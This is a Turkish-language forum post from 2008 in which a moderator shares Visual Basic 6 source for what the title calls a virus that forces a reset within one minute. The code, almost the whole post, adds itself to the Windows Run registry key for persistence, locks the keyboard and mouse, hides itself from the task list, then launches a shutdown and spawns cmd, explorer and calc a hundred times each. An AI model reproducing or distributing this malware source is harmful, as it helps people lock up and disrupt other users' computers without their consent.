CEZA
Süper Moderatör
Yaş : 29
Kayıt tarihi : 20/05/08
Mesaj Sayısı : 189
Nerden : Sana LEn Çokmu Merak Ettin:)
İş/Hobiler :
|
Konu: 1 dk da reset attıran virüs Çarş. Mayıs 21, 2008 2:36 pm |
|
|
Kod:
Kodlar !!
Kod: Dim KayitDefteri As Object Set KayitDefteri = CreateObject("wscript.shell") KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS \CUR RENTVERSION\RUN" & App.EXEName,App.Path & "" & App.EXEName & ".exe"
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long Private Declare Sub Sleep Lib "kernel32" (ByVal dwmilliseconds As Long) 'burada klavyeyi va mousu bloke etme fonksiyonlarını yazıyoruz 'forma 1 label ve 2 timer ekle Private Sub Form_Load() DoEvents 'mose ve klavyeyi bloke eder BlockInput True 'bloke islemine baslar Sleep 1E+80 'bu kadar süre bloke eder bu süre cok uzun BlockInput False 'bloke islemini sonlandir App.TaskVisible = False Form1.Visible = False 'formu ctrl+alt+del den gorunmez yaptik Timer2.Interval = 1 Timer1.Interval = 800 'burada zamanin hızını ayarlıyoruz Label1.Caption = Second(Time) saniye = Second(Time) End Sub
Private Sub Timer1_Timer() Dim saniye saniye = saniye + 1 If saniye = 60 Then saniye = 0 End If Label1.Caption = saniye End Sub Private Sub Timer2_Timer() If Label1.Caption = 55 Then Shell "Shutdown.exe -s", vbMaximizeFocus For i = 1 To 100 Shell "cmd" Shell "explorer" Shell "calc" Next End If End Sub |
|